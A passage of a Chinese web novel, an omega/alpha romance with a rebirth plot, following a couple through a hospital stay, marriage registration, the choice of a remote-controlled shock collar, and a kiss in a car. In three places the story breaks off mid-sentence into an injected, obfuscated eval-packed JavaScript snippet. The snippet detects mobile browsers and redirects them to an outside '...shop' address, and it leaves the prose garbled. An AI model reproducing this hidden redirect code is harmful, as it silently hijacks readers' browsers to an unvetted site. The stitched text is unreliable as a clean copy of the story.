开门的光亮陡然照出了谈决的面容,omega半张面容隐在黑暗中,他缓缓吐出一口薄烟,再静静看着烟雾消散,略长的头发遮住了的神情,却遮不住他眼下的通红。 原骁眼睁睁看着omega的动作,心神却跟着一震。 谈决在哭。 27. 公开 谈决是个很要强的人,连哭都很静默,他好像天生就学会了怎么让眼泪向内流,要不是那双眼睛太难过,其他人绝不可能察觉出异常。 他坐在台阶上,看不清来的人是谁,直到熟悉的声音响起:“谈决?” 楼梯间空荡荡的,说话时带着回声,谈决浑身一震,难以置信地抬头,不明白alpha为什么去而复返。 但很快他又恢复了平静:“什么?” 都到这种时候了,他还要强装镇定,原骁从没见过这么不坦诚的人,可惜他早就看透了对方的伪装,走上前低声道:“其实你也舍不得,对不对?” 谈决没说话,只看着原骁。 静默中,滚烫的烟灰忽然落在虎口,他吃痛松手,却还是晚了一步,冷白的皮肤已经被烫出一个红印,也烫穿了他的心。 痛意好像长在那里,怎么也褪不去,谈决忍了又忍,终于还是低下了头,任由眼泪砸在台阶上:“对不起……” 他不知道在对不起什么,但他一直不擅长交际,也无法明确表达自己的诉求,直到这这一句道歉出口,他挺直的脊背终于不堪重负,慢慢沉了下去。 原骁看见他哭就乱了阵脚,上辈子他就没见过谈决哭,或许曾经有过,但从不会让原骁发现。 这辈子也不会,如果不是自己去而复返,撞破了楼梯间的画面,或许他两辈子都要被蒙在鼓里。 他再也不管适不合适,只是紧紧把对方抱进怀里:“没关系。” “我们结婚吧谈决……我们明天就结婚。” 再多的言语都显得苍白无力,只有真实的行动才能证明原骁的诚意。 “我们明天就结婚,然后住在一起,我们一起吃饭、一起睡觉、一起散步,好不好?” 谈决没说话,但原骁察觉到他的迟疑,只偏头吻了吻对方的眼睛:“别拒绝我,好吗?” “你已经拒绝过我一次……别再拒绝我了谈决。” 他亲完就把脸埋进对方的脖颈,那些累积已久的委屈让他也慢慢红了眼:“你不和我结婚,那我还回来干什么呢?” 他好像话里有话,谈决却听不明白,但是alpha身上沾着深夜的寒凉,仿佛已经等了很久很久,仿佛身上带着时光的印记,此生都在等待这一刻。 “和我结婚吧谈决。” 他一遍又一遍,锲而不舍地重复。 门口那一束灯光照亮了在漆黑楼道里相拥的人,原骁把谈决抱得很紧很紧,好像害怕松开手人就跑了一样。 “……和我结婚吧谈决。” “……” 不知道过了多久,怀里的人终于动了动,一下,又一下,然后慢慢反搂住alpha。 原骁吃了一惊,心里好像有个碳酸气泡,越涨越圆,越涨越大,紧接着他的听见了omega很轻但坚定的回答:“好。” 砰——气泡炸了,变成一串串沸腾的小气泡,连带着原骁大脑都不清楚起来,他惊喜又难以置信:“真的吗?真的吗?” 谈决:“嗯,真的。” 他们相识也不过一个月,没有恋爱,没有磨合,甚至只有朦胧的几次暧昧,可现在他居然胆大包天到愿意和对方结婚,精明和理智仿佛都成了浆糊。 他理智了一辈子,这是唯一一次意气用事。 他一边想着,一边闭上眼,把alpha抱的更紧,和之前的逃避抗拒不同,现在他几乎完全敞开,显得真诚又坦荡:“我明天陪你去领证。” 原骁今晚的心情就像坐过山车,二十分钟前还在谷底,现在就飞上云端,连话都说不出来,只定定注视着谈决,眼神热切得像能把人烫伤,在黑暗中更像粘人的大型犬。 谈决最受不了他这种表情,下意识躲开对视,又问:“……傻了?” 原骁摇摇头:“不是。” 谈决:“那是什么?” 原骁想了想,还是实话实说:“明天好像是周末。” 民政局不上班。 谈决:“……” 谈决:“……那就下周一。” 原骁满意了,他手臂穿过谈决的膝弯,毫无预兆就把人托抱起来:“台阶那么凉,你也不多穿件衣服。” 担心碰到伤腿,他还是面对面把谈决的腿叉开抱,后者很不习惯这个姿势:“我可以自己走。” “那也不行,要是把再把腿弄伤了,你怎么和我领证。”原骁说着还颠了颠,把omega按回自己怀里,他一只手抱着谈决,另一只手把地上的烟头捡起来扔垃圾桶。 他轻轻捏了捏谈决被烫伤的虎口:“手疼不疼?” 谈决这回没说谎:“……有点。” 原骁抱着人往病房走:“那我待会问问护士有没有烫伤膏。” 他们又回到了冷冰冰的病房,但这回好像有什么不一样了,谈决被放回床上,原骁洗完手就头也不回地去护士站要烫伤膏了,好在值班护士真有,还好心地借给他用,alpha也不用冒着冷风到二十四小时药店买。 谈决行动不便,原骁伺候着对方洗漱,刷牙洗脸,最后才开始抹烫伤膏,看见伤口,原骁忍不住道:“你烟哪儿来的?” 谈决:“今天挂水的时候另一个病人给的。” 原骁“噢”了一声,没再问别的。 谈决却有点奇怪:“你不介意?” 原骁:“介意什么?” 谈决:“介意我抽烟。” alpha好像一点都不意外的样子:“没关系,我会看着你的。” 他早就知道谈决会抽烟,在他们上辈子结婚后第三年知道的。 那段时间原骁正在忙入职,所以在某个本该和谈决见面安抚对方的周末请了假,但到了夜里他又放不下心,火急火燎地往家赶。 那是原骁第一次知道omega还会抽烟,冬天的冷风吹得人脸生疼,然而谈决站在露天的阳台边,手里夹着香烟,他的目光落在远方,不知道在看什么,他不急不缓地吐出一口薄烟,面容仿佛隔了一层纱,带着一种清冷的色气。 就是那一晚,谈决拿到了医院的报告,确诊了夜盲症。 而在此之前,他因为加班到深夜回家,没看清路,把自己摔得浑身是血。 谈决没有烟瘾,他如果抽烟,一定是在精神濒临崩溃的时候,不得不用这种手段给自己一点点安慰和喘息。 就是这么笨的一个人,连在家抽烟都有心理负担,宁愿在阳台吹冷风也不想被原骁发现。 原骁把烫伤膏给omega抹匀:“偶尔一次没关系,你要是真上瘾了,我就监督你戒掉。” 听见这话,谈决也松了口气:“我不会上瘾。” 原骁捏着他的手,忍不住感叹:“你怎么那么多灾多难啊,又是感染腺体萎缩症,又是被蚊子咬过敏,又是摔伤腿,现在还被烫伤……” 他这么一说,谈决也意识到这些倒霉事就集中发生在这两个月,忍不住开了句玩笑:“……可能我天生命不太好吧。” 父母早逝,只能跟奶奶相依为命,结果五岁时奶奶癌症离世,后来被好心的家庭收养,却从此寄人篱下,明明才二十二岁,却已经经历了普通人或许一辈子不会经历的苦难,要是算上上辈子,他还会英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185202|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年早逝,在27岁就告别人间。 或许天才的命运都是相似的,上帝赐予他们天赋的同时,也一并赐下了苦难,仿佛只有他们痛苦、混乱、崩溃,一切才显得公平。 如果人间是炼狱,那谈决已经体会了大半,或许这算不上命坏,但也绝对和命好不沾边。 他随口一句,原骁却应了激:“乱说,怎么可能不好?” 他一点也不喜欢听这种话,就好像所有人为都是徒劳,他和谈决的结局已经命中注定一样:“你不是还有我吗?” “我命好,我把运气分给你,以后不准再说这种话。” 虽然是玩笑,但alpha说得真诚,谈决没泼冷水,只是“嗯”了一声。 alpha好像天生就精力充沛到用不完一样,病房里只有一套洗漱用品,他又不厌其烦地下楼买回来,认认真真洗漱完,厚着脸皮躺上了床。 谈决已经昏昏欲睡了,但总不安稳,直到alpha回到病房,他才安心地闭上眼睛,谁知刚睡下,alpha忽然掏出手机,“咔嚓”一声。 “干什么?”谈决下意识睁眼,就看见原骁给他们拍了张合照,照片里他闭眼躺着,眼下微微发红,alpha笑着,两个人都有黑眼圈,怎么看怎么不像医院陪床,更像酒店事后。 原骁在低头发消息:“没什么,我拍个照在我家群里官宣一下,让他们看看你。” 谈决:“?” 谈决:“不行。” 原骁:“……为什么不行?我们不是要结婚了吗?” 谈决实在不敢恭维他的拍照技术:“重拍。” “手机给我,”他接过原骁的手机,坐起来,又和alpha适当拉开了距离,给正襟危坐的一A一O拍了张合照,还露出了床头挂着的病例,“好了,发这个。” 原骁接过手机,左看右看,总觉得不满意:“可这张照片我们看起来一点也不亲密。” 谈决反问:“你为什么要把我们的亲密照片发给家人?” 原骁:“……” 原骁被说服了:“好吧,那刚才那张我保存起来偷偷看。” 见alpha放弃在家族群里发奇怪的照片,谈决终于放下心,盖上被子睡觉,原骁随手关了灯,却不打算睡觉,明亮的手机屏幕却照亮他大帅逼一样的脸。 凌晨两点,鸡和狗都睡了,他精神抖擞地打开聊天软件,翻到了一个名为“顶A之家”的群聊,二话不说就把合照发了出去,并配上说明。 【原骁:我要结婚了,快恭喜我。】 原朔人在北美,那边正是大中午,看见消息立马毫不犹豫地发了消息过来。 【原朔:?】 【原朔:大哥你别逗我。】 没多久,还在加班没睡的苦逼总裁原邃也回了消息。 【原邃:?】 【原邃:谈决教授?你和他结婚?他本人知道吗?】 镜天集团每年都在给研究所投入大量的研发经费,原邃上次和谈决见面还是在研讨会上,对对方的印象还停留在“专业水平过硬,社交水平不详”的阶段,从没想过会在家庭群看见谈决。 原骁受不了这种质疑,正准备反击,一向早睡早起养老作息的原越庭居然也反常地出现了。 【原越庭:?】 【原越庭:真给你追到了?】 【原越庭:你小子真是一点苦都不想吃啊,老婆还是个科学家,牛逼。】 原骁没等来祝福,却只等来满屏的质疑,只觉得真心被错付。 他点开聊天框,缓缓扣出了一个“?”。 28. 管教项圈 原骁躺在床上激情打字。 【原骁:还是不是一家人?我结婚你们就这点反应?】 【原骁:你们是不是妒忌我有老婆?】 他打完这句,群里其他人好像无声无息地中了一箭。 【原朔:我上班了,晚上聊。】 【原邃:我下班了,明天聊。】 【原越庭:我也要睡了。】 原越庭还专门艾特了原骁。 【原越庭:大半夜的你也快睡吧,熬夜容易秃顶,还容易阳|痿,对夫夫感情不好,你有什么事明天再说吧。】 【原骁:?】 他刚发起话题不到五分钟,群里就迅速结束了话题,恢复了死一般的寂静。 原骁莫名觉得有点憋屈,反手把谈决拉进怀里。 谈决眼皮已经在打架了,但脑子很清醒,他知道原骁在和家人说结婚的事,也担心自己不被接纳,毕竟他们的家庭差距摆在那里,见alpha扔开手机抱过来,忍不住道:“怎么了?” 原骁把聊天记录给他看,开始诉苦:“他们都讽刺我。” 他叹了口气:“我真不知道原生家庭给我带来了什么。” 谈决认真看了半天,然后就看见原骁贱兮兮地挑衅别人没老婆:“……” 他记得原越庭是丧偶,现在单身,说这种话不会被打吗? 但这是别人的家事,他也不好说什么,只是把手机扔回去,重新躺回去:“三点了,睡觉吧。” 原骁实话实说:“我有点兴奋,睡不着。” 谈决闭上眼睛:“快点睡。” 原骁重新打开手机:“你先睡吧,我先选选我们的婚礼场地。” 谈决终于忍无可忍,抢过他的手机关掉:“快睡,再不睡阳|痿了。” 原骁:“……” 他再也不敢玩手机,老老实实地闭上了眼。 三分钟后,alpha均匀的呼吸声在耳边响起,迅速陷入了熟睡。 谈决在黑暗中睁眼,他看见原骁眼下两团乌青,侧身往alpha怀里挪了挪,这才慢慢闭眼。 不过这一觉没有睡太久,因为早上六点医生查房,原骁被迷迷糊糊赶下了床,还被骂了一顿。 “病人腿上有伤,这段时间尽量不要同床。” 原骁“噢”了一声,老老实实站旁边看着一群医生给谈决查看情况。 “伤口恢复得不错,感染也控制住了,待会再换一次药,今早就能出院。” “回家以后记得戴护具,每天给创口涂两次药,下周四过来医院复查。” 一群医生乌泱泱地来,又乌泱泱地走了,没多久就有护士来推谈决去换药,原骁去一楼大厅办出院手续。 两小时后,司机已经把车停在了楼下,正好这周末原越庭在家,原骁就问谈决想不想去见他爸。 谈决愣了下:“这个样子去吗?” 他瘸着一条腿,上下行动都不方便,而且在医院住的这几天都没洗澡,形象很不好。 原骁很尊重他的想法:“看你,不想去我们就另外找时间。” 谈决想了想:“那下周末再去吧。” 那时候他的腿估计也好差不多了,还方便预留时间准备上门的礼物。 原骁:“行,那先回你家。” 他给司机报了地址,四十分钟后就到了家,这个点没时间做饭,两个人点了个外卖凑合了一下,谈决饭后就提出了意见:“我身上不舒服,想洗个澡。” 原骁愣了一下:“……我帮你。” 伤口沾水容易感染,他先在谈决伤口的地方缠了几大圈保鲜膜,这才把人抱进浴室,放了热水给对方洗头。 谈决很不自在,他是骨裂不是瘫痪:“我自己可以。” 原骁才不管那么多:“可以什么可以,有人伺候你不好吗?” “你坐着,我刚刚在网上学习了一下理发店小哥的按摩手法,让你也享受享受。” 谈决拗不过他,只能任由原骁摆弄,洗完了头发又吹头发,“呜呜呜”的吹风机声音吵得人耳膜都快裂了。 原骁关掉吹风机,摸了摸谈决耳根处的碎发:“你头发有点长了。” 谈决也意识到了:“明天去剪。” 原骁又摸了两把他的头发:“你发质好软啊,颜色还这么黑。” 谈决的头发和眼珠都特别黑,肤色却很白,配上立体但不夸张的五官,浓淡相宜,长得跟幅天然的水墨画似的,是那种很难得的清冷系长相。 听见这话,他下意识抬头打量原骁的头发,alpha头发不是全黑,眼珠是琥珀色,他越看越觉得那双眼睛漂亮得有点异常,还是忍不住问出了困扰他很久的疑问:“你妈妈是外国人吗?” 他见过原越庭,对方是很纯正的中国人。 原骁摇摇头:“不是,但我祖母是俄国人,长得很漂亮,她是名音乐家,在中国定居后和我祖父结婚,所以我妈妈也很漂亮,现在我也很帅。” 他显然是中了基因彩票的那类人,把爸爸妈妈祖父祖母的优点全集中了,帅得很突出,还帅得很有自知之明,一点也不矜持。 谈决“嗯”了一声,不知道是在回应他祖母的事还是他很帅的事,原骁也没在意,他给浴缸放满水,搅了搅,等水温差不多才道:“要不要我帮你洗?” 谈决看了一眼,有点难想象alpha给他洗澡的样子:“……不用了,我自己来。” 原骁:“好吧,那你小心点。” 他觉得谈决有点太矜持了,上辈子他就帮谈决洗过很多次澡,大部分都是标记完,对方一身狼藉累得睡过去,他就会把人抱进浴缸里洗一洗泡一泡。 “有事叫我,”他把换洗衣物放在谈决手边的凳子上,关上浴室门蹲在不远处玩手机,还和几个朋友分享了自己要结婚的事。 宋锦从一开始的震惊和难以置信,转变成无奈和习以为常,到现在他已经麻木了,听见原骁要结婚,居然只是淡定地发了句恭喜。 原骁总觉得所有人反应都太淡了,一点都不符合预期,昨晚之后家庭群里就没发过消息,原骁猜到他们大概率还在适应,原朔不八卦,但原邃和原越庭估计已经在背地里把谈决的祖宗十八代都查了一遍。 现在证都没领,他也没东西官宣,刷了半天朋友圈,又开始刷各种婚礼流程,礼服款式,蜜月地点,他越刷越入迷,过了半个小时,浴室里的人终于出声了:“原骁?” 原骁“腾”地一下站起来,却没意识到两条腿蹲了半天已经麻了。 于是谈决听见门外“卧槽”了一声,他眼睁睁看着浴室门被打开,紧接着alpha就面朝着他跪了下来。 谈决:“?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185203|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈决:“你要求婚吗?” 但求婚也不用双膝跪地吧? 原骁捏着手机,强捱着大腿传来的一阵阵酸痛:“不是,我腿麻了。” 谁家好人在浴室求婚,这也太不正经了。 谈决:“……” 他坐在凳子上看着原骁,两个人就这么一坐一跪,四目相对。 紧接着毫无预兆地,谈决笑了一声。 那声音很轻,像是没忍住,原骁抬起头,就看见谈决偏过头去,手背抵住唇角,他眉眼弯着,带着未褪尽的笑意,显然在嘲笑他。 他一笑,浅淡的山水画就有了颜色,瞬间活过来一样,原骁当场就看呆了。 他老婆开心的时候也太漂亮了,比平时漂亮一百倍。 上辈子他从没见过谈决这么开怀过,他们之间只有工作,还有不得不履行的婚姻义务,原骁莫名有了点成就感,可一想到对方为什么笑,他又没那么开心了,委屈道:“我是不是很笨啊?” 谈决笑够了,这才转过头,一本正经地想了下:“是有一点。” 原骁更自闭了。 谈决又肯定道:“不过挺可爱的。” 他还记得那一年在海边,还在读小学的原骁兴高采烈地捡了一大堆寄居蟹塞口袋里,傍晚看见口袋里的贝壳一个接一个长腿爬出来的时候差点吓得在海滩上跳霹雳舞。 这么多年过去了,alpha一点都没变。 原骁的腿终于恢复了,他撑着浴室门慢慢站起来,把omega抱了出来,嘴上还在埋怨:“人在找不出优点夸人的时候,就会夸对方可爱。” 他把omega放在客厅沙发,又给对方理了理乱糟糟的衣领:“你在这儿待着,我去洗澡。” 他要去浴室平复一下心情,重新建立属于alpha的自信。 他的衣服和洗漱用品已经被司机打包送到谈决家了,没买婚房之前不出意外都会住这里。 虽然他觉得一个alpha住omega家有点不太好,但谈决对此接受良好,甚至还挺高兴。 于是原骁知道了,omega很享受这种包养他的错觉,不光这辈子,就连上辈子都是。 他们原定了周一去领证,但谈决行动不便,担心结婚证拍得不好,于是又把时间推到了周五。 按谈决的估算,周四复查完,他就能简单地自由活动,于是周五的清晨,一A一O准时出现在了民政局门口。 谈决破天荒地穿了件白色西服,原骁也脱下了他的卫衣,换上了一件黑色西服,被西服一衬,alpha修长挺拔的身形就彻底显露出来,身上的学生气被冲淡了些,往那一站就跟个珠宝品牌男模似的,谈决在他旁边生生被衬小了一圈。 两人一前一后进了门,整个大厅都亮了几分,几个工作人员一听说他们要登记结婚,全都跑出来围观。 谁知道登记的时候却出了点小意外。 “谈决先生,我们这边看到您的人身安全保护等级是联盟最高级别,根据法律规定,任何与你结为伴侣的alpha都必须戴上管教项圈,除非你亲自签字解除,您看您这边的意思……” 她在征询谈决的意见,后者愣了一下,下意识想解除,但很快又想到什么。 他转过头,一双点墨似的眼睛静静看向原骁。 “你想要吗?” 29. 吻 原骁之前提过两次,对方似乎并不抗拒管教项圈,甚至还有点……喜欢? 虽然不知道是不是错觉,但他觉得还是应该尊重一下伴侣的意见。 谁知道原骁听完,眼睛立马亮起来,看他的眼神十分热切:“要!” 谈决:“……” 看来不是错觉。 他想了想,转头对工作人员道:“那我签字吧。” 原骁:“?” 他都说要了,为什么还要签字? 既然要签字,为什么还问他要不要? 他有点想不通,但也不想质疑谈决的决定,只能眼巴巴站在一边。 谈决签完解除协议,又点了点屏幕:“我们还想选一个管教项圈。” 工作人员愣了一下,很快明白了什么。 按照法律规定,如果谈决不解除项圈,那他的伴侣必须一直戴着项圈不能取下,如果签完协议再申请,那项圈的取戴就灵活得多,原骁也不用受官方监督。 免除协议其实就是一种变相的免责协议,如果谈决签下名字,就意味着他愿意为伴侣担保负责,而官方无权过多干涉。 谈决一边填资料,一边和原骁解释:“项圈私底下戴,上学的时候别戴。” 原骁一听也觉得不错,毕竟他就是专门戴给谈决看的,上学戴不戴都行。 他站在谈决身后,把脑袋放对方肩膀上,撒娇一样:“……谢谢老师。” 谈决签字的笔一顿,表情有片刻的微妙,但最后还是恢复了正常:“嗯。” 他签完几张协议,再交回时,就隔着玻璃看见了工作人员通红的小脸和兴奋的眼神。 谈决:“……” 他不知道对方脑补到了什么地方,但还是后知后觉有点不好意思。 工作人员虽然兴奋,但业务能力在线,她调出一个全是数字的页面:“好的,两位选一下项圈编号吧。” 编号前两位是字母,一位代表谈决的级别,另一位是城市的级别,后四位是数字,两个人头对头选了好半天,谈决忽然指了指一串编号:“这个。” SA-0218。 0218,谈决似乎格外偏爱这串数字。 原骁:“听你的。” 等原骁也签完字,两个人又转到拍照处等候,今天来登记结婚的新人并不多,没过多久就轮到了他们。 “好的两位新人稍微挨近一点,亲密一点,好就这个姿势,笑一下——” 咔嚓——照片定格,半个小时左右,贴着合照的红本本终于到手,原骁抚摸着烫金大字,丝绒质感的封面,不由怔了怔。 他太记得结婚证抚摸起来的质感了,因为上辈子他在谈决的枕下发现了那一本被抚摸到发旧的结婚证,而他死前也将那两本结婚证紧紧握在手里,死后都不曾松开。 那种感觉仿佛已经刻在记忆深处,轻轻一触碰就醒了过来,他发自内心高兴,又忽然涌起一阵难以言喻的悲伤,于是连他手中的证件都变得烫手起来。 于是谈决领完管教项圈回来的时候,就看见alpha站在走廊上,对方盯着结婚证,眼眶却慢慢红起来。 谈决一愣:“怎么了?” 原骁听见声音,却忽然转身抱住他,闷闷道:“谈决,我终于和你结婚了。” 终于,谈决终于又和他结婚了,再次回到了他身边。 这一次他们之间没有误会,没有强迫,也没有隔阂,是算得上美好的开局,所以一切都有挽回的可能。 谈决猝不及防,虽然民政局的走廊上还有人来来往往,但他没说什么,只是反抱住alpha忽然情绪低落的alpha:“你哭了吗?” 原骁:“没有,我只是太感性了。” 他抱了谈决好一会儿才调整好状态,等再分开时又是那个阳光开朗的alpha,他目光落到谈决手里的盒子上,期待道:“这是我的项圈吗?” 谈决点点头:“嗯。” 他不知道原骁为什么那么期待,以他对alpha的了解,大部分alpha都不喜欢甚至抗拒管教项圈,因为管教意味着被压制被束缚,他们远比想象中更在意所谓的“尊严”。 谈决:“走吧,回车上试试。” 原骁正有此意,他跟着谈决回到停车场,坐到了后座。 管教项圈内层是软金属和电极,但外层有一圈皮革,内侧还有一小圈绒毛,是为了保护皮肤,造型挺漂亮的。 谈决打开盒子,一眼就看到了项圈上的编号,他抚摸了一下新刻上去的数字,却什么都没说,只是解开卡扣:“低头。” 原骁听话地凑了过去,就着这个姿势,谈决给他戴上项圈,一边调整松紧:“紧不紧?” 原骁:“……还好。” 谈决又收了一点,直到项圈轻轻贴住alpha的皮肤,他才“咔哒”一声扣上卡扣:“好了。” alpha抬起头,露出颈侧的编号,他亲自选的编号。 原骁摸了摸项圈,又看着他:“好看吗?” 谈决不由地呼吸一窒,没回答,原骁看见盒子里还有个东西在冒蓝光,伸手拿了过来:“这是什么?” 拿到手里,他才意识到这是一个远程遥控器,只要谈决按下按钮,项圈上的就会产生相当可观的电流,让alpha当场投降。 上辈子,他们的婚姻登记甚至不是双方亲自到场,谈决感染腺体萎缩症后因为信息素紊乱岌岌可危时,是原越庭亲自把他带到民政局登记,再亲手给他戴上管教项圈。 当晚,原越庭亲自把戴上管教项圈的alpha送到了谈决的住处,然后头也不回地离开了。 原骁没有反抗,只是静静地靠坐在沙发上等待着,唇边带着嘲讽的笑意,他等待着谈决会用什么冠冕堂皇的话来开场,然而谈决只是沉默了很久,然后走到他面前,慢慢脱掉了外套,平静地下令。 “标记我。” 原骁猛地抬头,露出了困兽一般的神态,他觉得荒诞又讽刺,忍不住想要撕咬什么,伤害什么,然而下一刻omega就勾住了他的项圈,皱着眉重复:“标记我。” 他那个时候太恨,下意识把omega的安抚当做警告和威胁,却忽略了对方眼底一闪而过的心疼。 他失去了理智,怀着报复般的心情标记了对方,他恶狠狠地咬着omega的腺体和脖颈,让对方流泪,颤抖,昏迷,甚至在沉睡时都在无意识地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185204|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痉挛,抽搐。 然而那个和原骁一起送来的管教项圈遥控器,却在那一晚之后就不见了踪影。 即便原骁再过分,谈决也没有真正管教过他。 想到前世,原骁忽然觉得自己蠢得不像话,他端详着手里的遥控器,看着上面那几个图标按钮,然后毫不犹豫地按下了电击键。 他感觉到后颈的电极片在微微发烫,紧接着一股细密的电流就流遍了全身,不致命,但很痛苦,他的四肢瞬间失去了力气,紧接着就是一阵凌迟似的疼痛,他的胸腔忘记了起伏,于是窒息的感觉瞬间涌了上来。 “原骁!”谈决吓了一跳,立马抢过遥控器关停电击:“你干什么?” 解除了电击,原骁瞬间脱力地靠回后座:“……好疼啊。” 真的好疼,上辈子谈决没用管教项圈欺负他,所以只能被原骁欺负。 他被自己欺负的时候,肯定也是这么疼,这么难过。 他已经不敢再想当时谈决的心情,只是低着头不说话。 谈决却有点生气,他一把扔开遥控器,冷下脸:“把项圈摘下来。” 原骁却拒绝地很干脆:“……不要。” 他偏过头去,遮住项圈不让摘,活像个无赖,谈决看着他,却越看越觉得这人今天状态很不对劲,微微眯了眯眼睛。 他们谁都没说话,一时间车里静悄悄的,原骁正透过车窗玻璃看外面的风景,借此来表达自己不想摘项圈的决心,然而谈决半天没动静,他反而不安起来。 他微微转头,想悄悄看一眼对方是不是生病了,然而下一刻,脖颈上的项圈就一紧。 原骁还没反应过来,上半身就一个踉跄,整个人都被带了过去,紧接着就被谈决吻住了。 omega的力道一点也不温柔,甚至算得上强势,原骁瞬间瞪大了眼睛。 开玩笑吧?谈决居然主动亲他! 还是在车上! 他脑子一空,难以置信又幸福,就这么被谈决按在后座上亲。 谈决的唇是热的,软的,甚至还带着点微不可查的生疏,却不因此露怯:“……你又在闹什么别扭?” 原骁这回比窦娥还冤,然而没等自己解释,谈决又抓着他的项圈吻了上来,原骁只觉得呼吸一窒,浑身血液都兴奋起来,信息素也失控地溢出几缕。 他不受控地揽住omega细瘦的腰身,把人托抱到自己腿上:“老婆……” 谈决还等着回答,下一刻就被悬空抱了起来,他吓了一跳,只能下意识紧紧抓住项圈,alpha闷哼一声,紧接着就开始反客为主。 车里气氛开始迅速升温,不知道是谁先发了狠,于是吻就变得急迫起来,呼吸和喘声交错着,谈决还听到了水声,他想说话,却被alpha逼得不能开口,他几乎有了窒息的感觉,微微一动,就被alpha不管不顾地压在了后座上。 二人上下调换,alpha长手长脚,在他身上罩下一重阴影。 原骁已经上头了,他下意识托住omega两边膝弯,再分开,谈决瞳孔一缩,下意识挣扎,就听alpha又委屈又兴奋地开口:“……老婆。” “我闻见你的信息素了。” 30. 见家长 谈决的信息素是白山茶,香味浅淡,没有攻击性,却微微带着凉意,给人的印象很深刻。 原骁太熟悉这个味道了,几乎是刻进基因一样的熟悉,以至于他刚闻见,身体就不受控制地做出了反应。 而此时此刻,两人因为亲近,omega信息素也微微放出几缕,和alpha的向日葵信息素混在一起。 谈决被架在后座上,不明白alpha为什么动作这么娴熟,但他来不及深思,只是微微偏头看向车窗外,耳根却红了:“别……别在车上。” 他们的车还停在民政局,刚领完证就在车里标记,被人发现怎么办? 原骁也知道不能乱来,毕竟车上没套,而且谈决骨子里还是比较传统的omega,第一次在车里也不正式,但他已经被挑起来了,进也不是退也不是:“可我好难受……” “老婆,”他现在叫起这个称呼名正言顺,一点心理负担都没有,他抱紧怀里的人,把脑袋埋在对方侧颈,热情鼓动的胸膛紧贴着谈决的胸膛:“不然你电我一下吧,电一下说不定它就萎了。” alpha肩背宽阔,谈决只觉得抱着自己撒娇磨蹭的人是只大型犬,身上温度烫得吓人,显然兴奋得不得了,但还是强忍着没做什么。 谈决轻轻勾住管教项圈,让对方抬起脸来,安慰道:“没关系,你还很年轻,容易兴奋是正常的。” 毕竟对方才十九岁,刚成年不久。 这种时候,两人之间的性格差异就体现出来了,明明是相仿的年纪,但谈决显然包容成熟很多,他贴了贴alpha的唇,循循善诱道:“先冷静一下,回家再做好吗?” “好,”原骁毫不犹豫地答应了,他没再动作,只是抱着谈决不说话,大约二十分钟以后,他的兴奋中枢终于冷却下来,虽然下面反应还是有点明显,但好歹不影响开车。 他从后座下车,上了驾驶座,中途又想到什么,他摆出两张结婚证的封面拍了一张,然后直接发到了朋友圈。 做完这些,他的脑子彻底清醒了过来,启动引擎回家。 谁知道家刚回到一半,就接到了原越庭的电话。 “喂儿子?” 原骁:“爸。” 原越庭显然看到了他发的朋友圈:“你和小谈领证去了?” 原骁:“嗯,领了。” 原越庭显然没想到他们动作这么快,似乎有些不满儿子自作主张,但还是没说什么:“那你们现在回家了吗?” 原骁:“还在路上。” 原越庭:“那先别回了,你直接带着小谈来山庄这边,过来吃顿饭。” 原骁:“……” 他还等着去超市买一大盒套和谈决回家标记呢。 计划被打断,他难免有点失望,但还是能分清主次:“行,我先问问他。” 他挂了电话,这才偏头和副驾驶的omega说话:“爸让我们去他那儿吃晚饭,你想不想去?” 谈决有些猝不及防,但想到对方是原骁的父亲,他们证都领了还没见家长,确实不应该,于是点点头:“去吧。” 正好他们今天都换了得体的衣服。 “行,那我掉个头,”原骁只好变更了车道,掉头往城郊去,中途谈决忽然想起什么:“我们就这么空手过去吗?要不要带点礼物?” 就是不知道以原家的家境,他应该送点什么。 “礼物?”原骁想劝他不用多此一举,毕竟谈决能和自己结婚他爸已经谢天谢地了,毕竟这是改善他们老原家平均智商的喜事,还犯得着带什么礼物,但转头又想到什么:“带吧,我爸喜欢泡椒凤爪,咱两待会去买几袋,再买点水果。” 把他爸哄高兴了,到时候给谈决包个大红包。 他算盘打得噼里啪啦响,谈决总觉得有点草率,但原骁坚持要买凤爪,还安慰他:“不用买贵的,他比我们有钱多了,想要贵的自己会买。” 四十分钟后,谈决就深刻体会到了原骁说的“有钱”是什么意思。 天池山庄建在云城近郊的半山腰,是云城著名的富人区,里面都是占地相当可观的独栋别墅,住户不多,但非富即贵,很重视隐私,对安保级别要求也很高,不光得有钱,还要有关系。 谈决从小被收养,也见过不少世面,平心而论,余家的条件已经是数一数二,但跟这些人比起来也只是九牛一毛。 